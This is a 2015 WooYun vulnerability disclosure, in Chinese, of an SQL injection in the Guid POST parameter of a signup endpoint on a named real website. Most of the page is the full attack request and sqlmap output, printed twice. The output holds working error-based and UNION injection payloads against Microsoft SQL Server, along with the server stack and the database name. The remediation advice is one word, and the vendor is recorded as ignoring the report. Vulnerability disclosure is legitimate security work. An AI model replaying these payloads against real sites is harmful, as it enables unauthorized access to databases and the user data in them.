当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122294

漏洞标题:米到仓某站SQL注入漏洞

相关厂商:meetok.com

漏洞作者: 路人甲

提交时间:2015-06-24 09:51

修复时间:2015-06-29 09:52

公开时间:2015-06-29 09:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-24: 细节已通知厂商并且等待厂商处理中
2015-06-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

POST注入:
POST /LogOn/savedissignup HTTP/1.1
Host: web.fx.meetok.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: */*
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://web.fx.meetok.com/LogOn/DISSignUpDetail?Guid=29e8bbe5-610c-4ee8-9b0a-a12e65ea9ebb
Content-Length: 185
Cookie: Hm_lvt_7112016fa110c2353d2ce948e7d84fbc=1435045727; Hm_lpvt_7112016fa110c2353d2ce948e7d84fbc=1435045755
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Guid=29e8bbe5-610c-4ee8-9b0a-a12e65ea9ebb&Name=%E5%BC%A0%E5%AE%B6&Province=%E8%BE%BD%E5%AE%81%E7%9C%81&City=%E9%9E%8D%E5%B1%B1%E5%B8%82&District=%E7%AB%8B%E5%B1%B1%E5%8C%BA&Pwd=aa123123


1.jpg


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: Guid (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Guid=29e8bbe5-610c-4ee8-9b0a-a12e65ea9ebb' AND 8097=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(106)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (8097=8097) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(98)+CHAR(107)+CHAR(113))) AND 'Hbkp'='Hbkp&Name=%E5%BC%A0%E5%AE%B6&Province=%E8%BE%BD%E5%AE%81%E7%9C%81&City=%E9%9E%8D%E5%B1%B1%E5%B8%82&District=%E7%AB%8B%E5%B1%B1%E5%8C%BA&Pwd=aa123123
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: Guid=29e8bbe5-610c-4ee8-9b0a-a12e65ea9ebb' UNION ALL SELECT CHAR(113)+CHAR(98)+CHAR(106)+CHAR(113)+CHAR(113)+CHAR(101)+CHAR(71)+CHAR(106)+CHAR(90)+CHAR(75)+CHAR(65)+CHAR(97)+CHAR(112)+CHAR(76)+CHAR(71)+CHAR(113)+CHAR(112)+CHAR(98)+CHAR(107)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL-- &Name=%E5%BC%A0%E5%AE%B6&Province=%E8%BE%BD%E5%AE%81%E7%9C%81&City=%E9%9E%8D%E5%B1%B1%E5%B8%82&District=%E7%AB%8B%E5%B1%B1%E5%8C%BA&Pwd=aa123123
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
current database: 'KJ_FX_Web'

漏洞证明:

POST注入:
POST /LogOn/savedissignup HTTP/1.1
Host: web.fx.meetok.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: */*
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://web.fx.meetok.com/LogOn/DISSignUpDetail?Guid=29e8bbe5-610c-4ee8-9b0a-a12e65ea9ebb
Content-Length: 185
Cookie: Hm_lvt_7112016fa110c2353d2ce948e7d84fbc=1435045727; Hm_lpvt_7112016fa110c2353d2ce948e7d84fbc=1435045755
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Guid=29e8bbe5-610c-4ee8-9b0a-a12e65ea9ebb&Name=%E5%BC%A0%E5%AE%B6&Province=%E8%BE%BD%E5%AE%81%E7%9C%81&City=%E9%9E%8D%E5%B1%B1%E5%B8%82&District=%E7%AB%8B%E5%B1%B1%E5%8C%BA&Pwd=aa123123


1.jpg


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: Guid (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Guid=29e8bbe5-610c-4ee8-9b0a-a12e65ea9ebb' AND 8097=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(106)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (8097=8097) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(98)+CHAR(107)+CHAR(113))) AND 'Hbkp'='Hbkp&Name=%E5%BC%A0%E5%AE%B6&Province=%E8%BE%BD%E5%AE%81%E7%9C%81&City=%E9%9E%8D%E5%B1%B1%E5%B8%82&District=%E7%AB%8B%E5%B1%B1%E5%8C%BA&Pwd=aa123123
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: Guid=29e8bbe5-610c-4ee8-9b0a-a12e65ea9ebb' UNION ALL SELECT CHAR(113)+CHAR(98)+CHAR(106)+CHAR(113)+CHAR(113)+CHAR(101)+CHAR(71)+CHAR(106)+CHAR(90)+CHAR(75)+CHAR(65)+CHAR(97)+CHAR(112)+CHAR(76)+CHAR(71)+CHAR(113)+CHAR(112)+CHAR(98)+CHAR(107)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL-- &Name=%E5%BC%A0%E5%AE%B6&Province=%E8%BE%BD%E5%AE%81%E7%9C%81&City=%E9%9E%8D%E5%B1%B1%E5%B8%82&District=%E7%AB%8B%E5%B1%B1%E5%8C%BA&Pwd=aa123123
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
current database: 'KJ_FX_Web'

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-29 09:52

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

2015-06-29:已更新